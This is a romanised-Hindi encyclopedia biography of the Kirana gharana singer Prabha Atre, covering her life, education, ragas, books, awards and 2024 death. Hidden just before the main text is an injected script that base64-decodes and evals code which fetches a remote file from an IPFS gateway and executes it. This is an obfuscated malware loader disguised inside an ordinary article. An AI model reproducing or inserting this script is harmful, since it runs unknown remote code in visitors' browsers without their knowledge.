प्रभा अत्रे
prabha atre
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| poora nam | prabha atre |
| janm | 13 sitambar, 1932 |
| janm bhoomi | pune, maharashtr |
| mrityu | 13 janavari, 2024 |
| mrityu sthan | pune, maharashtr |
| karm bhoomi | bharat |
| karm-kshetr | bharatiy shastriy sangit |
| vidyalay | bie, pune vishvavidyalay piechadi, gandharv mahavidyalay |
| puraskar-upadhi | padm vibhooshan, 2022 padm bhooshan, 2002 |
| prasiddhi | shastriy gayika |
| nagarikata | bharatiy |
| any janakari | prabha atre ne sangit ke vibhinn vishayoan par alag-alag pustakean likhi haian. unake dvara likhi gee pahali kitab 'svaramayi' hai. svaramayi unake sangit par likhe ge lekh ka ek sankalan hai. |
| adyatan | 16:54, 14 janavari 2024 (IST)
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>prabha atre (aangrezi: Prabha Atre, janm- 13 sitambar, 1932; mrityu- 13 janavari, 2024) bharat ki kirana gharane ki prasiddh bharatiy shastriy sangit gayika thian. shastriy sangit ko lokapriy banana unaka sapana tha. unaka manana tha ki isake liye sabhi ko milakar kam karana hoga. kirana gharane ki sashakt hastakshar ‘svarayogini’ prabha atre ko sangit ke kshetr mean yogadan ke liye desh ke doosare sarvochch nagarik samman padm vibhooshan (2022) se sammanit kiya gaya tha. prabha atre bharatiy shastriy sangit ke vishay par sangit padhati rahi thian, vyakhyan-pradarshan karati rahian aur likhati rahian. videshoan mean kee yoonivarsitiz mean vizitiang prophesar bhi rahian. unake nam 11 pustakean (ek charan se) jari karane ka vishv rik aaurd bhi hai.
parichay
mool roop se maharashtr ke pune mean 13 sitambar, san 1932 ko janmi prabha atre ne shastriy sangit ki duniya mean ek jana mana nam hai. vah shastriy paranpara ki shirsh gayikaoan mean se ek haian. vaishvik star par bharatiy shastriy sangit ko lokapriy banane mean prabha atre ki aham bhoomika rahi hai. prabha atre un durlabh kalakaroan me se haian jinhean alag-alag tarah ke sangit ke vidhaoan mean maharat hasil hai, jaise- khayal, thumari, dadara, gazal aur git ityadi.[1]
sangit mean apane padarpan ke bare mean prabha atre ne kaha tha- "meri maan ki tabiyat thik nahian rahati thi aur us samay ek guruji unhean haramoniyam sikhane ate the aur maian vahian unake pas baithati thi. vahian se roochi jagi aur mere gayan ki shurooat huee." gayika hone ke sath sangit vicharak, chiantak, shodhakarta, shikshika, lekhika, sangitakar aur guru prabha atre ne kaha- "maian aantim saans tak gana chahati hooan lekin sangit ke baki pahaluoan par bhi kam karana chahati hooan. shastriy sangit ko lokapriy banane ka sapana hai kyoanki jab tak am janata tak nahian pahuanchega, yah chalane vala nahian hai. maian ise sikhane mean asan banane aur lokapriy banane ke liye kam karana chahati hooan. maian philm sangit, sugam sangit, gajal, phyoojan sab sunati hooan. sabhi mean kuchh kuchh achchha rahata hai aur ajakal bahut pratibhashali bachche haian, jinamean bas pratibaddhata aur ganbhirata lane ki jaroorat hai. ab 90 varsh ki umr mean nam yad nahian rahate, lekin ajakal sangit mean bahut achchha kam ho raha hai."[1]
shikshan
prabha atre ne saians se grejueshan ke sath-sath l aau ki shiksha bhi li thi. vah gandharv vidyalay se sangit alankar thian. sath hi unake pas sangit d aauktaret ki digri bhi thi. unhoanne landan ke triniti k aaulej se vestarn myoojik ki bhi shiksha li.
kee rag banae
manch par madhur avaj ke sath jis niyantran se prabha atre suroan ko alap aur tanoan mean piroti thian, sangit premi shayad hi use kabhi bhula paeange. unamean ek aur khasiyat thi, spashtata ki. kathin boloan ko bhi saralata se shrotaoan ke dil tak pahuancha pana asan nahian hai, lekin yahi pratibha prabha atre ko shreshth kalakar banati thi. sangit ki tamam vidhaoan jaise- thumari, dadara, gajal, git, khyal, bhakti gitoan ko usi paraphekshan se gana durlabh hai, lekin sangit ke prati d aau. prabha atre ki lagan ne ise behad asan bana diya tha. itana hi nahian, unhoanne apoorva kalyan, dadari kauans, patadip malhar, tilang bhairavi, ravi bhairavi aur madhur kaun jaise kee ragoan ko apani adbhut kalpana se janm diya.[2]
lekhan
prabha atre ne sangit ke vibhinn vishayoan par alag-alag pustakean likhian. unake dvara likhi gee pahali kitab 'svaramayi' hai. svaramayi unake sangit par likhe ge lekh ka ek sankalan hai. sangit par unaki tamam kitabean ye batati haian ki ek achchhe kalakar ko imaijinetiv yani kalpanashil kyoan hona chahie. unaki pahali kitab svaramayi ko 1989 mean maharashtr stet sarakar puraskar se navaja gaya. usake bad unhoanne sangit ke anachhue pahaluoan par kee kitabean likhian, taki videshoan mean bhi hiandustani shastriy sangit ki pahachan badhe. unhoanne sidi sahit aangreji mean kitabean likhana shuroo kiya. khatm hoti guru shishy paranpara ko jianda rakhane ka prayas karate hue prabha atre ne pune mean kuchh sal pahale hi 'svaramee gurukul' nam ki sthapana ki thi.
samman v puraskar
- shastriy sangit ko duniya bhar mean ek nee pahachan dene ke lie maharashtr sarakar ne unhean kee puraskaroan se sammanit kiya.
- sangit jagat ke jane-mane puraskaroan ke sath-sath bharat sarakar ne unhean 1990 mean 'padm shri' aur 2002 mean 'padm bhooshan' se sammanit kiya tha.
- sal 2022 mean prabha atre ko padm vibhooshan se navaja gaya tha.
mrityu
kirana gharane ki nayab dharohar ko desh-duniya mean lokapriy banane vali 92 sal ki diggaj gayika prabha atre ka nidhan dil ka daura p dane se 13 janavari, 2024 ko pune, maharashtr mean hua. aspatal le jate samay hi unhoanne duniya ko alavida kah diya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1
shastriy sangit ki duniya mean jana mana nam hai Prabha Atre (hiandi) abplive.com. abhigaman tithi: 27 janavari, 2022. Cite error: Invalid
<ref>tag; name "pp" defined multiple times with different content - ↑ klasikal siangar prabha atre ka nidhan (hiandi) bhaskar.com. abhigaman tithi: 14 janavari, 2024.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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